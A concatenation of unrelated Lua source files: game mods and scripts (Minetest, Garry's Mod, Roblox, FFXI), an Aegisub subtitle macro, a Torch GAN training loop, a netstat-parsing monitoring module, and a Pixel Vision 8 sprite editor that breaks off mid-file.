disp.image(real, {win=opt.display_id * 3, title=opt.name})
end
if ((i-1) / opt.batchSize) % 1 == 0 then
print(('Epoch: [%d][%8d / %8d]\t Time: %.3f DataTime: %.3f '
.. ' Err_G: %.4f Err_D: %.4f'):format(
epoch, ((i-1) / opt.batchSize),
math.floor(math.min(data:size(), opt.ntrain) / opt.batchSize),
tm:time().real, data_tm:time().real,
errG and errG or -1, errD and errD or -1))
end
end
paths.mkdir('checkpoints')
parametersD, gradParametersD = nil, nil -- nil them to avoid spiking memory
parametersG, gradParametersG = nil, nil
torch.save('checkpoints/' .. opt.name .. '_' .. epoch .. '_net_G.t7', netG:clearState())
torch.save('checkpoints/' .. opt.name .. '_' .. epoch .. '_net_D.t7', netD:clearState())
parametersD, gradParametersD = netD:getParameters() -- reflatten the params and get them
parametersG, gradParametersG = netG:getParameters()
print(('End of epoch %d / %d \t Time Taken: %.3f'):format(
epoch, opt.niter, epoch_tm:time().real))
end
end |
function init()
fontId = createFont("../modelfiles/JetBrainsMono-Regular.ttf", 24.0)
end
function update()
if getKeyState("escape") == 0 then
closeWindow()
end
if getKeyState("l") == 0 then
destroyEntity()
end
if getMouseButtonState("left") == 0 then
local cameraCount = getCameraCount()
setMainCameraIndex((getMainCameraIndex() + 1) % cameraCount)
end
if getMouseButtonState("right") == 0 then
print(showGraphicsMemoryChunks())
end
local ft = getFrametime()
drawText("Frametime: " .. string.format("%.3f", ft), fontId, 1.0, 0.0, 0.0, 30.0, 30.0)
drawText("FPS: " .. string.format("%.3f", 1000.0 / ft), fontId, 0.0, 1.0, 0.0, 30.0, 50.0)
end
function destroy()
print("Entity destroyed.")
end |
local throwable_cake = false
-- CAKE --
local S
if minetest.get_modpath("intllib") then
S = intllib.Getter()
else
S = function(s) return s end
end
local sizes = {-0.4375, -0.3125, -0.1875, -0.0625, 0.0625, 0.1875, 0.3125}
for i, size in ipairs(sizes) do
local slice = i - 1
local name
local description
local drop
local tiles
if slice == 0 then
name = "cake:cake"
description = S("Cake")
drop = nil
tiles = {"cake_top.png", "cake_bottom.png", "cake_side.png"}
else
name = "cake:cake_"..slice
drop = ''
tiles = {"cake_top.png", "cake_bottom.png", "cake_side.png", "cake_inner.png", "cake_side.png", "cake_side.png"}
end
minetest.register_node(name, {
description = description,
drop = drop,
drawtype = "nodebox",
tiles = tiles,
inventory_image = "cake.png",
wield_image = "cake.png",
paramtype = "light",
is_ground_content = false,
groups = {crumbly=3},
--sounds = sounds,
node_box = {
type = "fixed",
fixed = {
{size, -0.5, -0.4375, 0.4375, 0, 0.4375},
}
},
on_rightclick = function(pos, node, clicker)
clicker:set_hp(clicker:get_hp() + 1)
if i < #sizes then
minetest.swap_node(pos, {name="cake:cake_"..i})
else
minetest.remove_node(pos)
end
end,
})
end
if not minetest.get_modpath("food") then
minetest.register_craftitem("cake:sugar", {
description = S("Sugar"),
inventory_image = "cake_sugar.png",
groups = {food_sugar=1}
})
minetest.register_craft({
type = "shapeless",
output = "cake:sugar",
recipe = {"default:papyrus"}
})
else
minetest.register_alias("cake:sugar", "food:sugar")
end
minetest.register_craft({
type = "shapeless",
output = "cake:cake",
recipe = {"farming:flour", "group:water_bucket", "group:food_sugar", "group:food_sugar"},
replacements = {
{"group:water_bucket", "bucket:bucket_empty"},
-- Not needed >0.4.13
{"bucket:bucket_water", "bucket:bucket_empty"},
{"bucket:bucket_river_water", "bucket:bucket_empty"}
}
})
-- THROWABLE CAKE --
minetest.register_entity("cake:cake_entity", {
physical = false,
timer = 0,
textures = {"cake.png"},
lastpos = {},
collisionbox = {0,0,0,0,0,0},
on_step = function(self, dtime)
self.timer=self.timer+dtime
local pos = self.object:getpos()
local node = minetest.get_node(pos)
if self.timer>0.2 then
local objs = minetest.get_objects_inside_radius({x=pos.x,y=pos.y,z=pos.z}, 2)
for k, obj in pairs(objs) do
if obj:get_luaentity() == nil or obj:get_luaentity().name ~= "cake:cake_entity" and obj:get_luaentity().name ~= "__builtin:item" then
obj:set_hp(obj:get_hp() + 7)
self.object:remove()
end
end
end
if self.lastpos.x~=nil then
if node.name ~= "air" then
minetest.add_item(self.lastpos, 'cake:cake')
self.object:remove()
end
end
self.lastpos={x=pos.x, y=pos.y, z=pos.z}
end,
})
if throwable_cake then
minetest.override_item("cake:cake", {
on_use = function(itemstack, player, pointed_thing)
if not minetest.settings:get_bool("creative_mode") then
itemstack:take_item()
end
local playerpos = player:getpos()
local obj = minetest.add_entity({x=playerpos.x,y=playerpos.y+1.5,z=playerpos.z}, "cake:cake_entity")
local dir = player:get_look_dir()
obj:setvelocity({x=dir.x*19, y=dir.y*19, z=dir.z*19})
obj:setacceleration({x=dir.x*-3, y=-10, z=dir.z*-3})
obj:setyaw(player:get_look_yaw()+math.pi)
return itemstack
end,
})
end
-- CAKE AWARD --
if minetest.get_modpath("awards") then
awards.register_achievement("award_the_lie", {
title = S("The Lie"),
description = S("Craft a cake"),
icon = "cake.png",
trigger = {
type = "craft",
item = "cake:cake",
target = 1
}
})
end
|
script_name = "Dialoguisation"
script_description = "Sélectionnez deux lignes pour en faire une seule sous forme de dialogue"
script_version = "0.4"
script_author = "Afaren"
include('karaskel.lua')
function main(subs, sel, styles)
meta, styles = karaskel.collect_head(subs, false)
for k, i in ipairs(sel) do
if k == 1 then
ligne1 = subs[i]
num1 = i
karaskel.preproc_line_size(meta, styles, ligne1)
ita1 = ligne1.styleref.italic
else
ligne2 = subs[i]
num2 = i
karaskel.preproc_line_size(meta, styles, ligne2)
ita2 = ligne2.styleref.italic
end
end
if ligne1.end_time < ligne2.end_time then
ligne1.end_time = ligne2.end_time
end
if ligne1.start_time > ligne2.start_time then
ligne1.start_time = ligne2.start_time
end
l1_ita = nil
l2_ita = nil
if ita1 == true or ligne1.text:find("\\i1") ~= nil then
if ligne1.text:find("\\i1") ~= nil then
ligne1.text = ligne1.text:gsub("\\i1", "")
ligne1.text = ligne1.text:gsub("\\i0", "")
ligne1.text = ligne1.text:gsub("{}", "")
end
l1_ita = true
end
if ita2 == true or ligne2.text:find("\\i1") ~= nil then
if ligne2.text:find("\\i1") ~= nil then
ligne2.text = ligne2.text:gsub("\\i1", "")
ligne2.text = ligne2.text:gsub("\\i0", "")
ligne2.text = ligne2.text:gsub("{}", "")
end
l2_ita = true
end
if l1_ita == true and l2_ita == true then
ligne1.text = "– {\\i1}" .. ligne1.text .. "\\N– " .. ligne2.text
elseif l1_ita == true and l2_ita == nil then
ligne1.text = "– {\\i1}" .. ligne1.text .. "{\\i0}\\N– " .. ligne2.text
elseif l1_ita == nil and l2_ita == true then
ligne1.text = "– " .. ligne1.text .. "\\N– {\\i1}" .. ligne2.text
else
ligne1.text = "– " .. ligne1.text .. "\\N– " .. ligne2.text
end
subs[num1] = ligne1
subs.delete(num2)
table.remove(sel, 2)
return sel
end
function validation(subs, sel)
return #sel==2
end
aegisub.register_macro(script_name, script_description, main, validation)
|
CustomColor3 = setmetatable({
toHex = function(color3)
local result = "#"
for _, element in pairs({color3.r, color3.g, color3.b}) do
local hex = ""
element = element * 255
while element > 0 do
local index = math.fmod(element, 16) + 1
element = math.floor(element / 16)
hex = string.sub("0123456789abcdef", index, index) .. hex
end
if string.len(hex) == 0 then
hex = "00"
elseif string.len(hex) == 1 then
hex = "0" .. hex
end
result = result .. hex
end
return result
end;
toHexInt = function(color3)
local hex = CustomColor3.toHex(color3)
local hexInt = string.gsub(hex, "#", "0x")
return tonumber(hexInt)
end;
fromHex = function(hex)
hex = hex:gsub("#","")
return Color3.fromRGB(
tonumber("0x" .. string.sub(hex, 1, 2)),
tonumber("0x" .. string.sub(hex, 3, 4)),
tonumber("0x" .. string.sub(hex, 5, 6))
)
end;
toRGB = function(color3)
return{
r = math.clamp(math.ceil(color3.R * 255), 0, 255);
g = math.clamp(math.ceil(color3.G * 255), 0, 255);
b = math.clamp(math.ceil(color3.B * 255), 0, 255);
}
end;
}, {__index = Color3})
return CustomColor3
|
hook.Add("PlayerSay", "act_chat_commands", function(Player, text, public)
text = string.lower( text )
if ( text == "!kill" ) then
Player:ConCommand("kill")
return ""
elseif ( text == "!cheer" ) then
Player:ConCommand("act cheer")
return ""
elseif ( text == "!laugh" ) then
Player:ConCommand("act laugh")
return ""
elseif ( text == "!muscle" ) then
Player:ConCommand("act muscle")
return ""
elseif ( text == "!zombie" ) then
Player:ConCommand("act zombie")
return ""
elseif ( text == "!robot" ) then
Player:ConCommand("act robot")
return ""
elseif ( text == "!dance" ) then
Player:ConCommand("act dance")
return ""
elseif ( text == "!agree" ) then
Player:ConCommand("act agree")
return ""
elseif ( text == "!becon" ) then
Player:ConCommand("act becon")
return ""
elseif ( text == "!disagree" ) then
Player:ConCommand("act disagree")
return ""
elseif ( text == "!salute" ) then
Player:ConCommand("act salute")
return ""
elseif ( text == "!wave" ) then
Player:ConCommand("act wave")
return ""
elseif ( text == "!forward" ) then
Player:ConCommand("act forward")
return ""
elseif ( text == "!pers" ) then
Player:ConCommand("act pers")
return ""
end
end)
|
--[[
Author: FileEX
]]
local composer = require 'composer';
display.setStatusBar(display.HiddenStatusBar);
local audioManager = require 'sounds';
local ud = require 'userdata';
local function onSystemEvent( event )
if (event.type == 'applicationExit') then
local soundOp,musicOp = audioManager.get();
local userData = ud.get();
local appPreferences =
{
soundsBool = soundOp,
musicBool = musicOp,
answers = userData.answers,
goodAnswers = userData.goodAnswers,
badAnswers = userData.badAnswers,
allRounds = userData.allRounds,
winningRounds = userData.winningRounds,
points = userData.points
};
saveData(appPreferences);
elseif (event.type == 'applicationStart') then
loadData();
local data = ud.get();
local allA, goodA, badA, rounds, winRounds, points, soundOp, musicOp = data['answers'], data['goodAnswers'], data['badAnswers'], data['allRounds'], data['winningRounds'], data['points'], data['soundsBool'], data['musicBool'];
if (type(allA) == 'nil') then -- others var are the same
allA, goodA, badA, rounds, winRounds, points,soundOp,musicOp = 0, 0, 0, 0, 0, 0, true, true;
end
setUserData({
answers = allA,
goodAnswers = goodA,
badAnswers = badA,
allRounds = rounds,
winningRounds = winRounds,
points = points,
});
updateSoundsData(soundOp, musicOp);
composer.gotoScene('menu');
data = nil;
collectgarbage('collect');
end
end
Runtime:addEventListener( "system", onSystemEvent ); |
--[[
Copyright 2015 Rackspace
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS-IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
--]]
local HostInfo = require('./base').HostInfo
local run = require('./misc').run
local Transform = require('stream').Transform
--------------------------------------------------------------------------------------------------------------------
local Reader = Transform:extend()
function Reader:initialize()
Transform.initialize(self, {objectMode = true})
end
function Reader:_transform(line, cb)
local function getpidandpname(str)
if not str or #str == 1 then
return '-', '-'
else
return str:sub(1, str:find('%/')-1), str:sub(str:find('%/')+1)
end
end
local iter = line:gmatch("%S+")
local firstw = iter()
if firstw ~= '(Not' and firstw ~= 'Active' and firstw ~= 'Proto' and firstw ~= 'will' then
local obj = {
protocol = firstw,
recvq = iter(),
sendq = iter(),
local_addr = iter(),
foreign_addr = iter(),
state = iter(),
user = iter(),
inode = iter()
}
obj.pid, obj.proccess = getpidandpname(iter())
self:push(obj)
end
cb()
end
--------------------------------------------------------------------------------------------------------------------
local Info = HostInfo:extend()
function Info:_run(callback)
local cmd, args = 'netstat', {'-tlpen'}
local outTable, errTable = {}, {}
local function finalCb()
self:_pushParams(errTable, outTable)
return callback()
end
local child = run(cmd, args)
local reader = Reader:new()
child:pipe(reader)
reader:on('data', function(data) table.insert(outTable, data) end)
reader:on('error', function(data) table.insert(errTable, data) end)
reader:once('end', finalCb)
end
function Info:getPlatforms()
return {'linux'}
end
function Info:getType()
return 'REMOTE_SERVICES'
end
exports.Info = Info
exports.Reader = Reader |
praxis: setClipboardText(getFunction("fugue.makeMidiNote"))
praxis:
function fugue.makeMidiNote(note)
if note == nil then return nil end
if note.rest ~= nil then return nil end
-- note is a degree of the scale and an octave
local midiNote = fugue.currentKey +
note.octave * 12 +
fugue.minscale[note.degree]
return midiNote
end
-- this is a standard lua idiom
-- check member and check parent
if lastNote ~= nil then
if lastNote.rest ~= nil then
lastNoteMidi = fugue.makeMidiNote(lastNote)
end
end
|
-----------------------------------------
-- ID: 4663
-- Scroll of Aquaveil
-- Teaches the white magic Aquaveil
-----------------------------------------
function onItemCheck(target)
return target:canLearnSpell(55)
end
function onItemUse(target)
target:addSpell(55)
end |
WORLD = "Earth"
assert(rote.expand("Hello $WORLD!") == "Hello Earth!")
assert(rote.merge(nil, {}) ~= nil)
assert(rote.merge({
foo = "bar"
}, {}).foo == "bar")
assert(rote.merge({}, {
foo = "bar"
}).foo == "bar")
assert(rote.merge({
foo = "bar"
}, {
foo = "baz"
}).foo == "baz")
|
local function boolean(key, value)
data.raw["bool-setting"][key].hidden = true
data.raw["bool-setting"][key].forced_value = value
end
--
|
--[[
Pixel Vision 8 - Display Tool
Copyright (C) 2017, Pixel Vision 8 (http://pixelvision8.com)
Created by Jesse Freeman (@jessefreeman)
Please do not copy and distribute verbatim copies
of this license document, but modifications without
distributing is allowed.
]]--
-- API Bridge
LoadScript("sb-sprites")
LoadScript("pixel-vision-os-v2")
LoadScript("pixel-vision-os-color-picker-v2")
LoadScript("pixel-vision-os-sprite-picker-v2")
LoadScript("pixel-vision-os-canvas-v2")
local toolName = "Sprite Tool"
local colorOffset = 0
local systemColorsPerPage = 64
local success = false
local emptyColorID = -1
local originalPixelData = nil
local lastSelection = -1
local lastColorID = 0
local colorEditorPath = "/"
local tools = {"pen", "eraser", "line", "box", "circle", "eyedropper", "fill"}--, "select"}
ClearShortcut, SaveShortcut, RevertShortcut, CopyShortcut, PasteShortcut, SpriteBuilderShortcut = 4, 5, 6, 8, 9, 11, 12
function InvalidateData()
-- Only everything if it needs to be
if(invalid == true)then
return
end
pixelVisionOS:ChangeTitle(toolTitle .."*", "toolbariconfile")
invalid = true
pixelVisionOS:EnableMenuItem(SaveShortcut, true)
end
function ResetDataValidation()
-- print("Reset Validation")
-- Only everything if it needs to be
if(invalid == false)then
return
end
pixelVisionOS:ChangeTitle(toolTitle, "toolbariconfile")
invalid = false
pixelVisionOS:EnableMenuItem(SaveShortcut, false)
end
function Init()
BackgroundColor(22)
-- Disable the back key in this tool
EnableBackKey(false)
-- Create an instance of the Pixel Vision OS
pixelVisionOS = PixelVisionOS:Init()
-- Get a reference to the Editor UI
editorUI = pixelVisionOS.editorUI
rootDirectory = ReadMetaData("directory", nil)
-- print("Root Directory", rootDirectory)
-- TODO For testing, we need a path
-- rootDirectory = "/Workspace/Games/GGSystem/"
-- rootDirectory = "/Workspace/Games/JumpNShootMan/"
-- rootDirectory = "/Workspace/Games/ZeldaIIPalaceAnimation/"
-- rootDirectory = "/Workspace/Games/ReaperBoyLD42Disk2/"
if(rootDirectory == nil) then
else
-- Load only the game data we really need
success = gameEditor.Load(rootDirectory, {SaveFlags.System, SaveFlags.Colors, SaveFlags.ColorMap, SaveFlags.Sprites}) -- colorEditor:LoadTmpEngine()
end
-- If data loaded activate the tool
if(success == true) then
-- Get a list of all the editors
local editorMapping = FindEditors()
-- Find the json editor
colorEditorPath = editorMapping["colors"]
local menuOptions =
{
-- About ID 1
{name = "About", action = function() pixelVisionOS:ShowAboutModal(toolName) end, toolTip = "Learn about PV8."},
{divider = true},
{name = "Edit Colors", enabled = colorEditorPath ~= nil, action = OnEditColors, toolTip = "Open the color editor."},
{name = "Clear", action = OnClear, enabled = false, key = Keys.D, toolTip = "Clear the currently selected color."}, -- Reset all the values
{name = "Save", action = OnSave, key = Keys.S, enabled = false, toolTip = "Save changes made to the colors.png file."}, -- Reset all the values
{name = "Revert", action = OnRevert, enabled = false, key = Keys.R, toolTip = "Revert the colors.png file to its previous state."}, -- Reset all the values
{divider = true},
{name = "Copy", action = OnCopySprite, enabled = false, key = Keys.C, toolTip = "Copy the currently selected sound."}, -- Reset all the values
{name = "Paste", action = OnPasteSprite, enabled = false, key = Keys.V, toolTip = "Paste the last copied sound."}, -- Reset all the values
{divider = true},
{name = "Optimize", action = OnOptimize, toolTip = "Remove duplicate sprites."},
{name = "Sprite Builder", action = OnSpriteBuilder, key = Keys.B, toolTip = "Generate a sprite table from a project's SpriteBuilder dir."}, -- Reset all the values
{divider = true},
{name = "Quit", key = Keys.Q, action = OnQuit, toolTip = "Quit the current game."}, -- Quit the current game
}
pixelVisionOS:CreateTitleBarMenu(menuOptions, "See menu options for this tool.")
-- The first thing we need to do is rebuild the tool's color table to include the game's system and game colors.
ImportColorsFromGame()
_G["itempickerover"] = {spriteIDs = colorselection.spriteIDs, width = colorselection.width, colorOffset = 28}
_G["itempickerselectedup"] = {spriteIDs = colorselection.spriteIDs, width = colorselection.width, colorOffset = (_G["itempickerover"].colorOffset + 4)}
_G["spritepickerover"] = {spriteIDs = spritepicker.spriteIDs, width = spritepicker.width, colorOffset = 28}
_G["spritepickerselectedup"] = {spriteIDs = spritepicker.spriteIDs, width = spritepicker.width, colorOffset = (_G["spritepickerover"].colorOffset + 4)}
spriteIDInputData = editorUI:CreateInputField({x = 176, y = 208, w = 32}, "0", "The ID of the currently selected color.", "number")
spriteIDInputData.min = 0
spriteIDInputData.max = gameEditor:TotalSprites() - 1
spriteIDInputData.onAction = ChangeSpriteID
sizeBtnData = editorUI:CreateButton({x = 224, y = 200}, "sprite1x", "Pick the sprite size.")
sizeBtnData.onAction = OnNextSpriteSize
editorUI:Enable(sizeBtnData, false)
toolBtnData = editorUI:CreateToggleGroup()
toolBtnData.onAction = OnSelectTool
for i = 1, #tools do
local offsetY = ((i - 1) * 16) + 32
local rect = {x = 144, y = offsetY, w = 16, h = 16}
editorUI:ToggleGroupButton(toolBtnData, rect, tools[i], "This is tool button " .. tostring(i))
end
-- TODO if using palettes, need to replace this with palette color value
local totalColors = pixelVisionOS.totalSystemColors
local totalPerPage = 16--pixelVisionOS.systemColorsPerPage
local maxPages = 8
colorOffset = pixelVisionOS.colorOffset
-- Check the game editor if palettes are being used
usePalettes = gameEditor:PaletteMode()
if(usePalettes == true) then
totalColors = 128
colorOffset = colorOffset + 128
-- Change color label to palette
DrawSprites(gamepalettetext.spriteIDs, 24 / 8, 168 / 8, gamepalettetext.width, false, false, DrawMode.Tile)
end
canvasData = editorUI:CreateCanvas(
{
x = 8,
y = 32,
w = 128,
h = 128
},
{
x = 128,
y = 128
},
1,
colorOffset,
"Draw on the canvas",
pixelVisionOS.emptyColorID
)
canvasData.onAction = OnSaveCanvasChanges
-- canvasData.onFirstPress = OnCanvasFirstPress
spritePickerData = pixelVisionOS:CreateSpritePicker(
{x = 152 + 16, y = 32, w = 80, h = 128 },
{x = 8, y = 8},
gameEditor:TotalSprites(),
192 - 32,
10,
colorOffset,
"spritepicker",
"Pick a sprite",
false,
true,
true
)
spritePickerData.onSpriteAction = OnSelectSprite
spritePickerData.onDropTarget = OnSpritePickerDrop
-- TODO setting the total to 0
paletteColorPickerData = pixelVisionOS:CreateColorPicker(
{x = 8, y = 184, w = 128, h = 32},
{x = 16, y = 16},
totalColors,
totalPerPage,
maxPages,
colorOffset,
"itempicker",
"Select a color."
)
paletteColorPickerData.onColorPress = function(value)
-- if we are in palette mode, just get the currents selection. If we are in direct color mode calculate the real color index
value = usePalettes and paletteColorPickerData.picker.selected or pixelVisionOS:CalculateRealColorIndex(paletteColorPickerData, value)
-- Make sure if we select the last color, we mark it as the mask color
if(value == paletteColorPickerData.total - 1) then
value = -1
end
lastColorID = value
-- Set the canvas brush color
editorUI:CanvasBrushColor(canvasData, value)
end
-- Wire up the picker to change the color offset of the sprite picker
paletteColorPickerData.onPageAction = function(value)
-- If we are not in palette mode, don't change the sprite color offset
if(usePalettes == true) then
-- Calculate the new color offset
local newColorOffset = colorOffset + ((value - 1) * paletteColorPickerData.totalPerPage)
-- Update the sprite picker color offset
spritePickerData.colorOffset = newColorOffset
-- Update the canvas color offset
canvasData.colorOffset = newColorOffset
pixelVisionOS:OnSpritePageClick(spritePickerData, spritePickerData.pages.currentSelection)
UpdateCanvas(lastSelection)
editorUI:SelectPicker(paletteColorPickerData.picker, lastColorID)
end
end
-- Need to convert sprites per page to editor's sprites per page value
-- local spritePages = math.floor(gameEditor:TotalSprites() / 192)
if(gameEditor:Name() == ReadSaveData("editing", "undefined")) then
lastSystemColorSelection = tonumber(ReadSaveData("systemColorSelection", "0"))
-- lastTab = tonumber(ReadSaveData("tab", "1"))
-- lastSelection = tonumber(ReadSaveData("selected", "0"))
end
local pathSplit = string.split(rootDirectory, "/")
-- Update title with file path
toolTitle = pathSplit[#pathSplit] .. "/" .. "sprites.png"
editorUI:SelectToggleButton(toolBtnData, 1)
pixelVisionOS:SelectColorPage(paletteColorPickerData, 1)
pixelVisionOS:SelectColorPickerColor(paletteColorPickerData, 0)
-- pixelVisionOS:SelectSpritePickerPage(spritePickerData, 1)
pixelVisionOS:SelectSpritePickerSprite(spritePickerData, 0)
-- TODO this is not being triggered, need a better way to select the first sprite
local startSprite = 0
if(SessionID() == ReadSaveData("sessionID", "") and rootDirectory == ReadSaveData("rootDirectory", "")) then
startSprite = tonumber(ReadSaveData("selectedSprite", "0"))
end
-- pixelVisionOS:ResetSpritePicker(spritePickerData)
-- spritePickerData.currentSelection = -1
-- -- Change the input field and load the correct sprite
-- editorUI:ChangeInputField(spriteIDInputData, startSprite)
ChangeSpriteID(startSprite)
-- OnSelectSprite(startSprite)
-- local tmpPixelData = gameEditor:Sprite(0)
--
-- -- TODO simulate selecting the first sprite
-- editorUI:ResizeCanvas(canvasData, NewVector(8, 8), 16, tmpPixelData)
ResetDataValidation()
else
-- Patch background when loading fails
-- Left panel
DrawRect(8, 32, 128, 128, 0, DrawMode.TilemapCache)
DrawRect(168, 32, 80, 128, 0, DrawMode.TilemapCache)
DrawRect(8, 184, 128, 32, 0, DrawMode.TilemapCache)
DrawRect(176, 208, 32, 8, 0, DrawMode.TilemapCache)
DrawRect(136, 164, 3, 9, BackgroundColor(), DrawMode.TilemapCache)
DrawRect(248, 180, 3, 9, BackgroundColor(), DrawMode.TilemapCache)
DrawRect(136, 220, 3, 9, BackgroundColor(), DrawMode.TilemapCache)
pixelVisionOS:ChangeTitle(toolName, "toolbaricontool")
pixelVisionOS:ShowMessageModal(toolName .. " Error", "The tool could not load without a reference to a file to edit.", 160, false,
function()
QuitCurrentTool()
end
)
end
end
function OnSpritePickerDrop(src, dest)
-- print("On Sprite Drop")
-- If the src and the dest are the same, we want to swap colors
if(src.name == dest.name) then
-- Get the source color ID
srcSpriteID = src.currentSelection
-- Exit this swap if there is no src selection
if(srcSpriteID == nil) then
return
end
-- Get the destination color ID
local destSpriteID = pixelVisionOS:CalculateSpritePickerPosition(src).index
-- Make sure the colors are not the same
if(srcSpriteID ~= destSpriteID) then
-- Need to shift src and dest ids based onthe color offset
-- local realSrcID = srcSpriteID-- + systemColorPickerData.colorOffset
-- local realDestID = destSpriteID-- + systemColorPickerData.colorOffset
-- TODO need to account for the scroll offset?
-- print("Swap sprite", srcSpriteID, destSpriteID)
local srcSprite = gameEditor:Sprite(srcSpriteID)
local destSprite = gameEditor:Sprite(destSpriteID)
-- Swap the sprite in the tool's color memory
gameEditor:Sprite(srcSpriteID, destSprite)
gameEditor:Sprite(destSpriteID, srcSprite)
pixelVisionOS:RedrawSpritePickerPage(src)
ChangeSpriteID(destSpriteID)
InvalidateData()
end
end
end
function OnEditColors()
pixelVisionOS:ShowMessageModal("Edit Colors", "Do you want to open the Color Editor? All unsaved changes will be lost.", 160, true,
function()
if(pixelVisionOS.messageModal.selectionValue == true) then
-- Set up the meta data for the editor for the current directory
local metaData = {
directory = rootDirectory,
}
-- Load the tool
LoadGame(colorEditorPath, metaData)
end
end
)
end
local copiedSpriteData = nil
function OnCopySprite()
local index = pixelVisionOS:CalculateRealSpriteIndex(spritePickerData)
copiedSpriteData = gameEditor:Sprite(index)
-- copiedSpriteData = {}
--
-- local colorOffset = pixelVisionOS.gameColorOffset
-- -- Need to loop through the pixel data and change the offset
-- local total = #tmpPixelData
-- for i = 1, total do
-- copiedSpriteData[i] = tmpPixelData[i] - colorOffset
-- end
pixelVisionOS:EnableMenuItem(PasteShortcut, true)
end
function OnPasteSprite()
if(copiedSpriteData == nil) then
return
end
local index = pixelVisionOS:CalculateRealSpriteIndex(spritePickerData)
gameEditor:Sprite(index, copiedSpriteData)
copiedSpriteData = nil
pixelVisionOS:EnableMenuItem(RevertShortcut, false)
pixelVisionOS:RedrawSpritePickerPage(spritePickerData)
UpdateCanvas(index)
pixelVisionOS:EnableMenuItem(PasteShortcut, false)
end
function OnRevert()
pixelVisionOS:ShowMessageModal("Clear Sprite", "Do you want to revert the sprite's pixel data to it's original state?", 160, true,
function()
if(pixelVisionOS.messageModal.selectionValue == true) then
-- Save changes
RevertSprite()
end
end
)
end
function RevertSprite()
-- print("Revert Sprite", originalPixelData)
local index = pixelVisionOS:CalculateRealSpriteIndex(spritePickerData)
gameEditor:Sprite(index, originalPixelData)
-- Select the current sprite to update the canvas
pixelVisionOS:SelectSpritePickerSprite(spritePickerData, index)
-- Redraw the sprite picker page
pixelVisionOS:RedrawSpritePickerPage(spritePickerData)
-- Invalidate the tool's data
InvalidateData()
pixelVisionOS:EnableMenuItem(RevertShortcut, false)
pixelVisionOS:EnableMenuItem(ClearShortcut, not IsSpriteEmpty(originalPixelData))
end
function OnClear()
pixelVisionOS:ShowMessageModal("Clear Sprite", "Do you want to clear all of the pixel data for the current sprite?", 160, true,
function()
if(pixelVisionOS.messageModal.selectionValue == true) then
-- Save changes
ClearSprite()
end
end
)
end
function ClearSprite()
-- TODO need to link this up to the size
-- get the total number of pixels in the current sprite selection
local total = 8 * 8
-- TODO we should calculate an empty sprite when changing sizes instead of doing it over and over again on clear sprite
-- Create an empty table for the pixel data
tmpPixelData = {}
-- Loop through the total pixels and set them to -1
for i = 1, total do
tmpPixelData[i] = - 1
end
-- Find the currents sprite index
local index = pixelVisionOS:CalculateRealSpriteIndex(spritePickerData)
-- Update the currently selected sprite
gameEditor:Sprite(index, tmpPixelData)
-- Select the current sprite to update the canvas
pixelVisionOS:SelectSpritePickerSprite(spritePickerData, index)
-- Redraw the sprite picker page
pixelVisionOS:RedrawSpritePickerPage(spritePickerData)
-- Invalidate the tool's data
InvalidateData()
pixelVisionOS:EnableMenuItem(RevertShortcut, true)
pixelVisionOS:EnableMenuItem(ClearShortcut, false)
end
function OnQuit()
if(invalid == true) then
pixelVisionOS:ShowMessageModal("Unsaved Changes", "You have unsaved changes. Do you want to save your work before you quit?", 160, true,
function()
if(pixelVisionOS.messageModal.selectionValue == true) then
-- Save changes
OnSave()
end
-- Quit the tool
QuitCurrentTool()
end
)
else
-- Quit the tool
QuitCurrentTool()
end
end
function OnOptimize()
pixelVisionOS:ShowMessageModal("Optimize Sprites", "Before you optimize the sprites, you should make a backup copy of the current 'sprite.png' file. After this process, if you save your changes, it will overwrite the existing 'sprite.png' file.", 160, true,
function()
if(pixelVisionOS.messageModal.selectionValue == true) then
TriggerOptimization()
end
end
)
end
function TriggerOptimization()
local oldCount = gameEditor:SpritesInRam()
gameEditor:OptimizeSprites()
local newCount = gameEditor:SpritesInRam()
-- print("Optimized", oldCount, newCount)
-- TODO force these to redraw?
--
pixelVisionOS:ResetSpritePicker(spritePickerData)
-- ChangeSpriteID(0)
local percent = Clamp(100 - math.ceil(newCount / oldCount * 100), 0, 100)
-- Show summary modal and invalidate the data when the modal is closed
pixelVisionOS:ShowMessageModal("Optimization Complete", "The sprite optimizer was able to compress sprite memory by ".. percent .. "%. If you save your changes, the previous 'sprite.png' file will be overwritten.", 160, false, function()
InvalidateData()
end)
end
function OnSaveCanvasChanges()
local pixelData = editorUI:GetCanvasPixelData(canvasData)
local canvasSize = editorUI:GetCanvasSize(canvasData)
local tmpX = spritePickerData.picker.selectedDrawArgs[2] + spritePickerData.picker.borderOffset
local tmpY = spritePickerData.picker.selectedDrawArgs[3] + spritePickerData.picker.borderOffset
if(spritePickerData.picker.selected > - 1)then
DrawPixels(pixelData, tmpX, tmpY, canvasSize.width, canvasSize.height, false, false, DrawMode.TilemapCache)
end
local total = #pixelData
for i = 1, total do
pixelData[i] = pixelData[i] - colorOffset
end
local realIndex = pixelVisionOS:CalculateRealSpriteIndex(spritePickerData)
-- Update the current sprite in the picker
gameEditor:Sprite(realIndex, pixelData)
if(canvasData.invalid == true) then
-- Invalidate the sprite tool since we change some pixel data
InvalidateData()
-- Reset the canvas invalidation since we copied it
editorUI:ResetValidation(canvasData)
end
-- Make sure the clear button is enabled since a change has happened to the canvas
pixelVisionOS:EnableMenuItem(ClearShortcut, true)
pixelVisionOS:EnableMenuItem(RevertShortcut, true)
end
function OnSelectTool(value)
local toolName = tools[value]
editorUI:ChangeCanvasTool(canvasData, toolName)
-- We disable the color selection when switching over to the eraser
if(toolName == "eraser") then
-- Clear the current color selection
pixelVisionOS:ClearColorPickerSelection(paletteColorPickerData)
-- Disable the color picker
pixelVisionOS:EnableColorPicker(paletteColorPickerData, false)
else
-- We need to restore the color when switching back to a new tool
-- Make sure the last color is in range
if(lastColorID == nil or lastColorID == -1) then
-- For palette mode, we set the color to the last color per sprite but for direct color mode we set it to the last system color
lastColorID = usePalettes and gameEditor:ColorsPerSprite() or paletteColorPickerData.total - 1
end
-- Enable co
pixelVisionOS:EnableColorPicker(paletteColorPickerData, true)
-- Need to find the right color if we are in palette mode
if(usePalettes == true) then
lastColorID = last
end
pixelVisionOS:SelectColorPickerColor(paletteColorPickerData, lastColorID)
end
end
local spriteSize = 1
